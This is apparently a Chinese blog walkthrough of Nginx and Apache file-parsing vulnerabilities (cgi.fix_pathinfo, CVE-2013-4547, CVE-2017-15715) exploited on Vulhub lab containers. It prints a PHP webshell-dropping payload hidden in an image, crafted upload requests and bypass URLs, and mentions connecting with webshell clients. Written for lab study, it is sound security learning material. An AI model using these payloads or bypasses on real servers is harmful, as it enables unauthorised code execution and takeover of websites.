Nginx解析漏洞

Nginx

nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将 /xx.jpg/xx.php 解析为 php 文件。

》》》利用条件《《《

Nginx <=0.8.37

cgi.fix_pathinfo=1

》》》利用姿势《《《

Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞...

PS:同样使用 1.jpg/.php 方式进行绕过...

步骤一:进入以下Vulhub路径并开启容器...

cd /nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker ps -a

步骤二:浏览器中访问网站...

http://192.168.1.84/

步骤三:制作图片马并进行上传...获取上传文件地址...

http://192.168.1.84/uploadfiles/aa214af232f9b1422779c09fcf6409be.jpg

步骤四:访问以下路径,利用Nginx解析漏洞...

192.168.1.84/uploadfiles/aa214af232f9b1422779c09fcf6409be.jpg/.php

GetShell

步骤一:使用winhex工具往正常的图片中写入以下代码...

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

步骤二:上传该图片并访问....紧接着利用解析漏洞执行其中的PHP代码

http://101.42.118.221/uploadfiles/64c99f2867ba6f0733aba807c66617f7.jpeg/.php

2.2:CVE-2013-4547

此漏洞为文件名逻辑漏洞,该漏洞在上传图片时,修改其16进制编码可使其绕过策略,导致解析为

php。当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀

结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。

》》》影响版本《《《

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

》》》利用姿势《《《

步骤一:使用以下命令启动靶机并通过浏览器访问靶场页面...

#启动靶场
cd vulhub-master/nginx/CVE-2013-4547 //切换到靶机目录
docker-compose build //创建环境
docker-compose up -d //打开环境
#靶场页面
http://101.42.118.221:8080/
#info.php
<?php phpinfo();?>

步骤二:直接上传 info.php 被拦截...修改文件后缀为.jpg进行上传且在后面添加空格;上传成功...

步骤三:在.jpg后面添加两个空格并给上 .php 后缀,在16进制修改中将原本连个空格的 0x20 0x20 修改为如下即 0x20 0x00 进行发包...

步骤四:访问上传后的文件....由于url会将其编码,需要继续抓包修改 0x20 0x20 为 0x20 0x00

http://101.42.118.221:8080/uploadfiles/info.jpg%20%20.php
备注:这里在BP中需要将原来的%20%20删除,改成两个空格方便修改

蚁剑链接

Apache解析漏洞

3.1:apache_parsing

在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件

解析,就再往左判断。如 1.php.xxxxx

》》》漏洞原理《《《

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

其给 .html 后缀增加了 media-type ,值为 text/html ;给 .cn 后缀增加了语言,值为 zh-CN 。此时,如果用户请求文件 index.cn.html ,他将返回一个中文的html页面。以上就是Apache多后缀的特性。如果运维人员给 .php 后缀增加了处理器:

AddHandler application/x-httpd-php .php .php3 .phtml

那么,在有多个后缀的情况下,只要一个文件含有 .php 后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

》》》利用姿势《《《

步骤一:进入Vulhub靶场并执行以下命令启动靶场...

cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps -a

步骤二:访问靶机并上传 1.php.jpg 文件,文件内容为 phpinfo 函数...进行抓包..

POST / HTTP/1.1
Host: 101.42.118.221
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/110.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=--------------------------
-13126981399916040642324260341
Content-Length: 260
Origin: http://101.42.118.221
Connection: close
Referer: http://101.42.118.221/
Upgrade-Insecure-Requests: 1
-----------------------------13126981399916040642324260341
Content-Disposition: form-data; name="file_upload"; filename="1.php.jpg"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------13126981399916040642324260341--

步骤三:上传成功后与网站进行路径拼接...如下:

http://101.42.118.221/uploadfiles/1.php.jpg

3.2:CVE-2017-15715

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本

中存在一个换行解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些

服务器的安全策略。

》》》影响版本《《《

2.4.0~2.4.29

》》》利用姿势《《《

步骤一:进入Vulhub靶场并开启目标靶机,进行访问...

#启动靶机
cd /Vulnhub/vulhub-master/httpd/CVE-2017-15715
docker-compose up -d
#访问地址
http://101.42.118.221:8080/

步骤二:尝试上传一句话木马文件,发现被拦截...

步骤三:在evil.php文件后面添加空格 0x20 在改为 0x0a 再次返送即可上传成功....

步骤四:访问上传的evil文件在后面加上 %0a 再访问发现解析了其中的PHP代码,但后缀不是php说明存在解析漏洞

http://192.168.48.132:8080/evil.php%0a

步骤五:使用菜刀链接...成功!

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值